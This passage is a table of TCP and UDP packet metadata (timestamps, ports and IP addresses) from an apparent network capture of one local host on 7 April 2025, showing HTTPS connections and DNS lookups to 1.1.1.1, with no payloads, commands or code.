Apr 7, 2025 18:10:14.037601948 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:14.037625074 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:14.093813896 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.093828917 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.093869925 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.093878031 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.093919992 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.093971968 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.155121088 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.155318022 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.155795097 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.155802011 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.157773018 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.157778025 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.165299892 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165345907 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165424109 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165431976 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165460110 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165478945 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165482998 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.165488005 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165498972 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.165529013 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191612005 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191653967 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191662073 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191694021 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191699982 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191730976 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191771030 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191781998 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191818953 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191826105 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191826105 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191848993 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191859961 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191862106 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191880941 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191903114 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191909075 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191920996 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.191941023 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191967964 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.191972971 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.192013025 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.279761076 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.279858112 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.279973030 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.280435085 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.280456066 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.280481100 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.280504942 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.341027021 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.341114998 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.341187954 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.341794014 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.341794014 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.341809034 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.341857910 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.345221043 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.345249891 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.345432043 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.345921993 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.345937967 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.422517061 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.422610998 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.422622919 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.423036098 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.423094034 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.423629999 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.423644066 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:14.473886967 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.474179029 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.474206924 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.474564075 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.475028038 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.475096941 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.475233078 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.475270987 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.475305080 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.829559088 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.829649925 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.829715014 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.830122948 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.830132008 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.852551937 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.852621078 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.852636099 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.852679014 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.852684021 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.852727890 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.852740049 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.852782011 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.853645086 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.853657961 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.880606890 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.880999088 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.881011963 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.881527901 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.882013083 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.882100105 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.882344961 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.882369041 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:14.882435083 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:14.882994890 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.883100986 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:14.883155107 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.883188009 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.883964062 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:14.883980036 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:15.242505074 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:15.242708921 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:15.242788076 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:15.243292093 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:15.243316889 CEST	443	49824	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:15.243417025 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:15.243417025 CEST	49824	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:15.878855944 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:15.878894091 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:15.879098892 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:15.879407883 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:15.879425049 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.258755922 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.258863926 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.267926931 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.267937899 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.270844936 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.270859957 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.270935059 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.270950079 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271193027 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271198988 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271297932 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271311998 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271347046 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271358967 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271450996 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271465063 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271487951 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271502018 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271555901 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271568060 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:16.271720886 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:16.271728039 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:17.583003044 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:17.583072901 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.583091021 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:17.583105087 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:17.583178997 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.583178997 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.583394051 CEST	49825	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.583409071 CEST	443	49825	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:17.669651985 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.669687033 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:17.669776917 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.679172993 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:17.679192066 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.051692009 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.051779032 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:18.052386045 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:18.052392006 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.054358959 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:18.054367065 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.857229948 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.857312918 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.857450962 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:18.857649088 CEST	49826	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:18.857669115 CEST	443	49826	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:18.861746073 CEST	49827	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:18.861774921 CEST	443	49827	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:18.861937046 CEST	49827	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:18.862231970 CEST	49827	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:18.862246037 CEST	443	49827	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.048871994 CEST	443	49827	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.050843000 CEST	49828	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:19.050880909 CEST	443	49828	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.051007986 CEST	49828	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:19.051493883 CEST	49828	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:19.051506042 CEST	443	49828	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.240690947 CEST	443	49828	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.242312908 CEST	49829	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:19.242340088 CEST	443	49829	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.242553949 CEST	49829	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:19.243678093 CEST	49829	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:19.243720055 CEST	443	49829	83.217.208.144	192.168.2.7
Apr 7, 2025 18:10:19.243972063 CEST	49829	443	192.168.2.7	83.217.208.144
Apr 7, 2025 18:10:32.240386963 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:32.240489960 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:32.240540981 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:32.268521070 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:32.268609047 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:32.268724918 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:32.383399010 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:32.383500099 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:32.383600950 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:50.488950014 CEST	49741	443	192.168.2.7	23.204.152.207
Apr 7, 2025 18:10:50.488975048 CEST	443	49741	23.204.152.207	192.168.2.7
Apr 7, 2025 18:10:58.458157063 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:58.458167076 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:58.584610939 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:58.584626913 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:11:06.959019899 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:11:06.959042072 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:11:06.959079027 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:11:06.959100008 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:11:06.959187984 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:11:06.959209919 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:11:06.959506035 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:06.959538937 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:06.959593058 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:06.959801912 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:06.959813118 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:07.170253038 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:07.170595884 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:07.170610905 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:07.174628973 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:07.174762011 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:07.175132990 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:07.175285101 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:07.225230932 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:07.225244045 CEST	443	49831	23.44.201.4	192.168.2.7
Apr 7, 2025 18:11:07.272186995 CEST	49831	443	192.168.2.7	23.44.201.4
Apr 7, 2025 18:11:09.832585096 CEST	49832	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:09.832629919 CEST	443	49832	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:09.832711935 CEST	49832	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:09.832858086 CEST	49833	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:09.832894087 CEST	443	49833	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:09.832940102 CEST	49833	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:09.833050966 CEST	49832	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:09.833062887 CEST	443	49832	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:09.833157063 CEST	49833	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:09.833168983 CEST	443	49833	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.146426916 CEST	443	49832	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.147126913 CEST	443	49833	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.147824049 CEST	49832	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:10.147847891 CEST	443	49832	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.147972107 CEST	49833	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:10.148000002 CEST	443	49833	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.148235083 CEST	443	49832	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.148355007 CEST	443	49833	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.148582935 CEST	49832	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:10.148654938 CEST	443	49832	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.148849964 CEST	49833	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:10.148916960 CEST	443	49833	204.79.197.203	192.168.2.7
Apr 7, 2025 18:11:10.190963030 CEST	49832	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:11:10.190973997 CEST	49833	443	192.168.2.7	204.79.197.203

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 7, 2025 18:09:16.878778934 CEST	63780	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:16.986727953 CEST	53	63780	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:49.245352983 CEST	59279	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:49.246890068 CEST	56513	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:49.290877104 CEST	53	50782	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:49.348963022 CEST	53	55426	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:49.348977089 CEST	53	59279	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:49.350950956 CEST	53	56513	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:50.334739923 CEST	53	54228	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:50.516513109 CEST	53	58330	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:51.138387918 CEST	53	55739	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:52.438678026 CEST	61440	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:52.438895941 CEST	54021	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:52.443846941 CEST	53111	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:52.444112062 CEST	58973	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:52.542078972 CEST	53	61440	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:52.542224884 CEST	53	54021	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:52.547631979 CEST	53	58973	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:52.547827005 CEST	53	53111	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:53.439699888 CEST	55074	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:53.439896107 CEST	52624	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:54.474565983 CEST	55950	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:54.474853039 CEST	61493	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:09:54.578577995 CEST	53	55950	1.1.1.1	192.168.2.7
Apr 7, 2025 18:09:54.578592062 CEST	53	61493	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:03.817682028 CEST	56748	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:03.817970037 CEST	55482	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:03.926237106 CEST	53	55482	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:04.836141109 CEST	59407	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:04.942066908 CEST	53	59407	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:05.112510920 CEST	58235	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:05.112730026 CEST	57695	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:05.221463919 CEST	53	58235	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:05.236654997 CEST	53	57695	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.119585991 CEST	61727	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.120074034 CEST	56622	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.120546103 CEST	57240	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.120832920 CEST	58805	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.143230915 CEST	55988	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.143446922 CEST	55726	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.228540897 CEST	53	61727	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.234467983 CEST	53	57240	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.235554934 CEST	53	58805	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.256777048 CEST	53	55726	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.259462118 CEST	53	55988	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.427603960 CEST	65315	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.427871943 CEST	56756	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.443094969 CEST	58041	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.443949938 CEST	57636	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.535407066 CEST	53	65315	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.535505056 CEST	53	56756	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.543781042 CEST	53084	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.544055939 CEST	50011	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.550508022 CEST	53	58041	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.551966906 CEST	53	57636	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.650938988 CEST	53	53084	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.652647972 CEST	53	50011	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.658341885 CEST	53667	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.658473969 CEST	61533	53	192.168.2.7	1.1.1.1
Apr 7, 2025 18:10:07.772541046 CEST	53	53667	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.773367882 CEST	53	61533	1.1.1.1	192.168.2.7
Apr 7, 2025 18:10:07.776773930 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.885652065 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.886698008 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.886811018 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.887720108 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.888387918 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.889612913 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.889863014 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.890830040 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.891067982 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.993521929 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.993546963 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.993562937 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.993577003 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.994149923 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.994257927 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:07.995345116 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.997102976 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.999418020 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:07.999628067 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:08.096781969 CEST	443	50421	162.159.61.3	192.168.2.7
Apr 7, 2025 18:10:08.122461081 CEST	50421	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:08.491218090 CEST	58069	443	192.168.2.7	162.159.61.3
Apr 7, 2025 18:10:08.501703978 CEST	50421	443	192.168.2.7	162.159.61.3
